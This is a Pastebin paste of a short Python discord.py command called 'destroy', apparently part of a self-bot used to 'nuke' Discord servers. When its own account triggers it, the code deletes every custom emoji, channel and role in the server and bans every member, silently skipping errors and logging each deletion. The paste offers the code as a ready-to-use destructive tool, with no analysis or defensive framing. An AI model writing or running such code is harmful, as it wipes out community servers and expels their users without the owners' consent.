Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- @client.command(pass_context=True)
- async def destroy(ctx):
- if client.user.id == ctx.message.author.id:
- for emoji in list(ctx.message.server.emojis):
- try:
- await client.delete_custom_emoji(emoji)
- print (emoji.name + " has been deleted in " + ctx.message.server.name)
- except:
- pass
- for channel in list(ctx.message.server.channels):
- try:
- await client.delete_channel(channel)
- print (channel.name + " has been deleted in " + ctx.message.server.name)
- except:
- pass
- for role in list(ctx.message.server.roles):
- try:
- await client.delete_role(ctx.message.server, role)
- print (role.name + " has been deleted in " + ctx.message.server.name)
- except:
- pass
- for user in list(ctx.message.server.members):
- try:
- await client.ban(user)
- print (user.name + " has been banned from " + ctx.message.server.name)
- except:
- pass
- print ("Action Completed: destroy")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement